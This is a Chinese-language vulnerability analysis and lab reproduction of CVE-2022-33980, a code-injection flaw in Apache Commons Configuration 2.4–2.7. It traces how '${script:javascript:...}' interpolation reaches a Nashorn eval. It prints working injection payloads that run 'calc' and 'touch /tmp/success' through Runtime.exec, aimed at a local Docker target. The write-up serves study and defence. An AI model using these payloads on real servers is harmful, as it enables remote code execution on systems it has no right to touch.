• 首页 首页 icon
  • 工具库 工具库 icon
    • IP查询 IP查询 icon
  • 内容库 内容库 icon
    • 快讯库 快讯库 icon
    • 精品库 精品库 icon
    • 问答库 问答库 icon
  • 更多 更多 icon
    • 服务条款 服务条款 icon

Apache Commons Configuration 代码注入漏洞(CVE-2022-33980)

武飞扬头像
吉吉_大王
帮助1

Apache Commons Configuration 代码注入漏洞(CVE-2022-33980)

0x01 漏洞简介

Apache Commons Configuration是一个Java应用程序的配置管理工具,可以从properties或者xml文件中加载软件的配置信息,用来构建支撑软件运行的基础环境。在一些配置文件较多较复杂的情况下,使用该配置工具比较可以简化配置文件的解析和管理,提高开发效率和软件的可维护性。

0x02 影响版本

2.4 <= Apache Commons Configuration <=2.7

0x03 环境搭建

使用docker拉去镜像: docker pull vultarget/apache_commons_configuration2_rce-cve_2022_33980

运行环境,随机映射端口:docker run -d -P vultarget/apache_commons_configuration2_rce-cve_2022_33980

查看端口开放情况:docker ps -a

访问8080端口映射的端口就是网站首页

学新通

0x04 漏洞分析

  1. 进入靶机环境:docker exec -it eb /bin/bash
  2. 将靶机中打包的ROOT.war文件拉去到本机中:docker cp /usr/local/tomcat/webapps/ROOT.war /home/test
  3. 解压文件,会看到网站打包好的源码
  4. 使用idea生成一个web项目,将里面的文件导入到生成的项目中,配置tomcat就可以再本机调试

根据官方给出的漏洞通报

https://lists.apache.org/thread/tdf5n7j80lfxdhs2764vn0xmpfodm87s

学新通

Apache Commons Configuration执行变量插值,允许动态评估和扩展属性。插值的标准格式是“${prefix:name}”,其中“prefix”用于定位org.apache.common.configuration2.interpol的实例。执行插值的查找。从2.4版开始,一直到2.7版,这组默认查找实例包括可能导致任意代码执行或与远程服务器联系的插值器。这些查找包括:

-“script”-使用JVM脚本执行引擎(javax.script)执行表达式

-“dns”-解析dns记录

-“url”-从url(包括远程服务器)加载值

如果使用了不受信任的配置值,则在受影响版本中使用插值默认值的应用程序可能容易受到远程代码执行或与远程服务器无意接触的攻击。

明白这个CVE的漏洞点是在变量插值中造成的
那么什么是变量插值呢?
commons-configuration2来说,变量插值,就类似于引用动态变量的方式,就好比,如果我们需要获取系统中的某个环境变量,我们可以在配置文件中使用${env:envname}, 如果需要获取用户根目录,同样可以通过${sys:user.home}
我们可以跟进一下源码,看看这种写法是在哪里解析的
他主要是在org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate中对这种写法进行解析,赋予其对应的值

学新通

从注释中我们可以知道对于变量的插值,如果这个值他是字符串类型的,他将会检查时候包含有变量,如果有,将会替换这个变量,如果没有就按照源String返回

所以我们同样可以通过使用该方法进行变量插值的使用

package pers.test_01;

import org.apache.commons.configuration2.interpol.ConfigurationInterpolator;
import org.apache.commons.configuration2.interpol.InterpolatorSpecification;

public class Commons_Configuration2_Test {
    public static void main(String[] args) {
        InterpolatorSpecification interpolatorSpecification = new InterpolatorSpecification.Builder()
                .withPrefixLookups(ConfigurationInterpolator.getDefaultPrefixLookups())
                .withDefaultLookups(ConfigurationInterpolator.getDefaultPrefixLookups().values())
                .create();
        //创建示例
        ConfigurationInterpolator configurationInterpolator = ConfigurationInterpolator.fromSpecification(interpolatorSpecification);
        // 解析字符串
        System.out.println("${env:JAVA_HOME}->"   configurationInterpolator.interpolate("${env:JAVA_HOME}"));

    }
}
学新通

我们从之前的漏洞通告可以知道,由script将会导致JVM脚本执行,我们debug分析一下他的流程

#poc
System.out.println("${Script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")} ->"   configurationInterpolator.interpolate("${script:javascript:java.lang.Runtime.getRuntime().exec(\"calc\")}"));

org.apache.commons.configuration2.interpol.ConfigurationInterpolator#interpolate方法中打下断点

学新通

传入了变量插值的值,首先判断他是否是String的实例,之后将会调用looksLikeSingleVariable方法进行判断格式是否正确,开始为${ 结束为 }
学新通

之后成功达到了resolveSingleVariable的调用

学新通

我们跟进extractVariableName方法,在该方法中,他将去掉${}等字符,取出变量值

在这里插入图片描述

之后调用resolve进行处理,在该方法中,他将分别取出prefix name value字段
学新通

通过调用fetchLookupForPrefix方法传入prefix,取出对应的LookUp对象
学新通

直接从prefixLookups这个Map对象属性中获取对应的StringLookupAdapter
之后我们紧跟着调用了lookup方法

学新通

这里也可以知道对应的stringLookup为ScriptLookup类对象,跟进其lookup方法的调用

他首先会通过:将其进行分隔开来,并判断了其格式,再分别取出了engineNamescript之后,将会在后面通过调用getEngineByName方法的调用传入engineName,得到了scriptEngineNashormScriptEngine

学新通

带入了script和context对象继续调用eval方法,而我们知道eval函数可计算某个字符串,并执行其中的的JavaScript 代码。

学新通

最后在java.lang.Runtime.getRuntime().exec()方法打下断电,就可以查看到完整的调用栈

学新通

0x05 漏洞复现

访问映射的端口,发现有一个输入框

学新通

输入命令${script:javascript:java.lang.Runtime.getRuntime().exec("touch /tmp/success")}查看服务器中,已经生成了目录

学新通

这篇好文章是转载于:学新通技术网

  • 版权申明: 本站部分内容来自互联网,仅供学习及演示用,请勿用于商业和其他非法用途。如果侵犯了您的权益请与我们联系,请提供相关证据及您的身份证明,我们将在收到邮件后48小时内删除。
  • 本站站名: 学新通技术网
  • 本文地址: /boutique/detail/tanhghaggg
系列文章
更多 icon
同类精品
更多 icon
继续加载